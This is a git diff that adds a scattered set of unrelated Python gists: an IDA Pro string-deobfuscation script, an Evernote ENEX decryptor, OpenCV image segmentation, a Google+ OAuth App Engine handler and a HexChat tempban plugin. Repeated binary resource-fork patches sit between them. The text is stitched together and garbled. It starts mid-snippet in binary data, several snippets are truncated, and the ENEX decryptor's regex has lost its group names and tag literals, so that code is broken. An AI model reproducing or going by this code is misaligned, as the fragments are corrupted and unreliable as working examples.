zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K '%s'" % (v.ea, v.length, v.type, i, str(v))) + str_value = str(v) + try: + str_value = str_value.decode("hex") + hex_str_addr_list.append(v.ea) + except Exception, e: + pass + + for ss_addr in hex_str_addr_list: + xref = get_type1_xref(ss_addr) + if xref is None: + continue + + # print GetDisasm(xref) + # next func. + next_call = get_type1_call(xref) + if next_call is None: + continue + + # print hex(xref), GetDisasm(xref) + # print hex(next_call), GetDisasm(next_call) + # print "-----------------" + + decode_func_start = GetOperandValue(next_call, 0) + decode_func_end = get_decode_func_memcpy(decode_func_start) + + if decode_func_end is None: + print hex(decode_func_start), GetDisasm(decode_func_start) + continue + + r1_refs = [] + walker = decode_func_end + while walker > decode_func_start: + # print hex(walker), GetDisasm(walker) + if GetOpnd(walker, 0) == "R1": + r1_refs.append(walker) + if GetMnem(walker) == "LDR": + break + walker = PrevHead(walker) + + r1_refs.reverse() + if len(r1_refs) == 0: + # print "error " + hex(decode_func_start) + continue + + # print hex(decode_func_start) + t_offset = 0 + pc_offset = 0 + t_index = 0 + + if len(r1_refs) == 2: + t_offset = Dword(GetOperandValue(r1_refs[0], 1)) + pc_offset = r1_refs[1] + 4 + elif len(r1_refs) == 3: + t_offset = Dword(GetOperandValue(r1_refs[0], 1)) + pc_offset = r1_refs[1] + 4 + t_index = GetOperandValue(r1_refs[2], 1) + + key_table = t_offset + pc_offset + t_index + # print hex(decode_func_start), hex(key_table) + + key = read_key(key_table) + hex_data = list(GetString(ss_addr).decode("hex")) + for i in xrange(0, len(hex_data)): + hex_data[i] = chr(ord(hex_data[i]) ^ ord(key[i%8])) + print hex(ss_addr), "".join(hex_data) + + for i in xrange(0, len(GetString(ss_addr))): + PatchByte(ss_addr + i, 0x00) + + for i in xrange(0, len(hex_data)): + PatchByte(ss_addr + i, ord(hex_data[i])) + +if __name__ == "__main__": + main() + print "done." \ No newline at end of file diff --git a/hard-gists/0db840f27f1f0fd0747f13ab80d0ca37/._snippet.py b/hard-gists/0db840f27f1f0fd0747f13ab80d0ca37/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K < encrypted.enex > decrypted.enex' + sys.exit() + elif opt in ("-p", "--password"): + password = arg + +input_text = "".join(sys.stdin) +c = re.search(r"(?P.*)(?P)(?P.*)(?P)(?P.*)", input_text, re.DOTALL) + +if c: + bintxt = base64.b64decode(c.group('b64')) + salt = bintxt[4:20] + salthmac = bintxt[20:36] + iv = bintxt[36:52] + ciphertext = bintxt[52:-32] + body = bintxt[0:-32] + bodyhmac = bintxt[-32:] + + ## use the password to generate a digest for the encrypted body + ## if it matches the existing digest we can assume the password is correct + keyhmac = PBKDF2(password, salthmac, iterations, hashlib.sha256).read(keylength/8) + testhmac = hmac.new(keyhmac, body, hashlib.sha256) + match_hmac = hmac.compare_digest(testhmac.digest(),bodyhmac) + + if match_hmac: + key = PBKDF2(password, salt, iterations, hashlib.sha256).read(keylength/8) + aes = AES.new(key, AES.MODE_CBC, iv) + plaintext = aes.decrypt(ciphertext) + sys.stdout.write( c.group('head') + plaintext + c.group('tail') ) + else: + sys.stdout.write( input_text ) + sys.exit(1) +else: + sys.stdout.write( input_text ) +sys.exit(0) \ No newline at end of file diff --git a/hard-gists/0e7d366d2e3623c5bb95/._snippet.py b/hard-gists/0e7d366d2e3623c5bb95/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K thresh, square(1)) + cleared = bw.copy() + clear_border(cleared) + + # label image regions + label_image = label(cleared) + borders = np.logical_xor(bw, cleared) + label_image[borders] = -1 + colors = np.random.rand(300, 3); + background = np.random.rand(3); + image_label_overlay = label2rgb(label_image, image=img, colors=colors, bg_color=background) + cv2.imwrite('Done.png',image_label_overlay*255) \ No newline at end of file diff --git a/hard-gists/0efb4d07f28af1c8fc1b/._snippet.py b/hard-gists/0efb4d07f28af1c8fc1b/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K tooSmall: + cv2.drawContours(img, [contour], 0, (0,255,0),2, cv2.LINE_AA, maxLevel=1) + significant.append([contour, area]) + + significant.sort(key=lambda x: x[1]) + return [x[0] for x in significant]; + +def segment (path): + img = cv2.imread(path) + + blurred = cv2.GaussianBlur(img, (5, 5), 0) # Remove noise + + # Edge operator + sobel = np.max( np.array([ getSobel(blurred[:,:, 0]), getSobel(blurred[:,:, 1]), getSobel(blurred[:,:, 2]) ]), axis=0 ) + + # Noise reduction trick, from http://sourceforge.net/p/octave/image/ci/default/tree/inst/edge.m#l182 + mean = np.mean(sobel) + + # Zero any values less than mean. This reduces a lot of noise. + sobel[sobel <= mean] = 0; + sobel[sobel > 255] = 255; + + cv2.imwrite('output/edge.png', sobel); + + sobel_8u = np.asarray(sobel, np.uint8) + + # Find contours + significant = findSignificantContours(img, sobel_8u) + + # Mask + mask = sobel.copy() + mask[mask > 0] = 0 + cv2.fillPoly(mask, significant, 255) + # Invert mask + mask = np.logical_not(mask) + + #Finally remove the background + img[mask] = 0; + + fname = path.split('/')[-1] + cv2.imwrite('output/' + fname, img); + print (path) + + +segment('original-small.jpg') diff --git a/hard-gists/0f450e738bf79c003253/._snippet.py b/hard-gists/0f450e738bf79c003253/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K>> kIOMediaClass +# 'IOMedia' diff --git a/hard-gists/0f5f65ddbfa278713f58/._snippet.py b/hard-gists/0f5f65ddbfa278713f58/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K +CLIENT_SECRETS = os.path.join(os.path.dirname(__file__), 'client_secrets.json') + +# Helpful message to display in the browser if the CLIENT_SECRETS file +# is missing. +MISSING_CLIENT_SECRETS_MESSAGE = """ +

Por favor configure OAuth 2.0

+

+%s. +

+""" % CLIENT_SECRETS + + +http = httplib2.Http(memcache) +service = discovery.build("plus", "v1", http=http) +decorator = appengine.oauth2decorator_from_clientsecrets( + CLIENT_SECRETS, + scope='https://www.googleapis.com/auth/plus.me', + message=MISSING_CLIENT_SECRETS_MESSAGE) + +class MainHandler(webapp2.RequestHandler): + + @decorator.oauth_aware + def get(self): + variables = { + 'url': decorator.authorize_url(), + 'has_credentials': decorator.has_credentials() + } + template = JINJA_ENVIRONMENT.get_template('conceder.html') + self.response.write(template.render(variables)) + + +class Social(webapp2.RequestHandler): + + @decorator.oauth_required + def get(self): + try: + http = decorator.http() + user = service.people().get(userId='me').execute(http=http) + text = 'Hola, %s!' % user['displayName'] + image = user['image']['url'] + cover = user['cover']['coverPhoto']['url'] + + template = JINJA_ENVIRONMENT.get_template('bienvenido.html') + self.response.write(template.render({'text': text, + 'image': image, + 'cover': cover + })) + except client.AccessTokenRefreshError: + self.redirect('/') + + +application = webapp2.WSGIApplication( + [ + ('/', MainHandler), + ('/social', Social), + (decorator.callback_path, decorator.callback_handler()), + ], + debug=True) \ No newline at end of file diff --git a/hard-gists/10016605/._snippet.py b/hard-gists/10016605/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K 0 and layer.getWeeksAnomaly() < 7.0: + firstWeek = layer.getWeek() + + runThroughLayer(layer, i, x) + i = 1 if i == 7 else i + 1 + + print "firstWeek = " + str(firstWeek) + print "settleWeek = " + str(layer.getSettleWeek()) + \ No newline at end of file diff --git a/hard-gists/10206392/._snippet.py b/hard-gists/10206392/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K 3 else "Temp banned" + hexchat.command("kick {} TEMPBAN: {} ({})".format(nick, reason, formatTime(time))) + return hexchat.EAT_ALL + hexchat.command("tban {} {} {}".format(channel, time, nick)) + +hexchat.hook_command("tempban", tempban, "Command is /tempban